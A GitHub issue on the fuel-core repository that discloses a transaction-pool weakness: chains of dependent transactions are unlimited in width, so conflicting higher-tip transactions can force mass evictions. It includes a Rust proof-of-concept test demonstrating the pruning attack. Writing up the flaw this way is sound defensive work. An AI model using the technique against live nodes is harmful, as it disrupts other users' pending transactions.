FuelLabs / fuel-core

Rust full node implementation of the Fuel v2 protocol.
Other
58.17k stars 2.76k forks source link

Transaction pool can be manipulated to do a lot of cleanups #2020

Open xgreenx opened 2 months ago

xgreenx commented 2 months ago

The TxPool supports the feature that allows chain transactions and the use of uncommitted UTXOs.

We allow chaining up to max_depth dependent transactions. But we don't limit the width of the chain. Taking into account that it is possible to create a transaction with 255 outputs, and for each of these outputs, create another dependent transaction with 255 outputs and continue this process until max_depth is reached.

After setup the TxPool to have 255^max_depth dependent transactions, the manipulator can insert conflicting transactions with higher tips to replace the first dependent transaction and cause cleanup of 255^max_depth - 1 transactions.

We need to limit dependent transactions on width as well.

xgreenx commented 1 month ago
#[tokio::test]
async fn poc_incorrect_prune() {
    let max_tx = 5;
    let mut context = TextContext::default().config(Config {
        max_tx,
        ..Default::default()
    }); // set a low max_tx to easily demonstrate our point
    let (_, gas_coin) = context.setup_coin();
    let tx_benign = TransactionBuilder::script(vec![], vec![])
        .tip(1)
        .max_fee_limit(1)
        .script_gas_limit(GAS_LIMIT)
        .add_input(gas_coin)
        .finalize_as_transaction();

    let (_, gas_coin) = context.setup_coin();
    let mut inputs = vec![];
    let mut outputs = vec![];
    for _ in 0..max_tx {
        let input = context.random_predicate(AssetId::BASE, 1000000000, None);
        let output = Output::variable(*input.input_owner().unwrap(), 0, AssetId::BASE);
        inputs.push(UnsetInput(input));
        outputs.push(output);
    }
    let tx_malicious_init = TransactionBuilder::script(vec![], vec![])
        .tip(2)
        .max_fee_limit(2)
        .script_gas_limit(GAS_LIMIT)
        .add_input(gas_coin)
        .add_output(outputs[0])
        .add_output(outputs[1])
        .add_output(outputs[2])
        .add_output(outputs[3])
        .add_output(outputs[4])
        .finalize_as_transaction();

    let mut tx_malicious_fill = vec![];
    for i in 0..max_tx {
        let tx = TransactionBuilder::script(vec![], vec![])
            .tip(100)
            .max_fee_limit(100)
            .script_gas_limit(GAS_LIMIT)
            .add_input(inputs.remove(0).into_input(UtxoId::new(
                tx_malicious_init.id(&Default::default()),
                i.try_into().unwrap(),
            )))
            .finalize_as_transaction();
        tx_malicious_fill.push(tx);
    }

    let mut txpool = context.build();

    let tx_benign = check_unwrap_tx(tx_benign, &txpool.config).await;
    txpool
        .insert_single(tx_benign.clone())
        .expect("tx_benign should be OK, got Err");

    let tx_malicious_init = check_unwrap_tx(tx_malicious_init, &txpool.config).await;
    txpool
        .insert_single(tx_malicious_init)
        .expect("tx_malicious_init should be OK, got Err");

    for _ in 0..max_tx {
        let tx = check_unwrap_tx(tx_malicious_fill.remove(0), &txpool.config).await;
        txpool
            .insert_single(tx)
            .expect("tx_malicious_fill should be OK, got Err");
    }

    assert!(txpool.pending_number() == 0, "clear failed",);
}

Example of the attack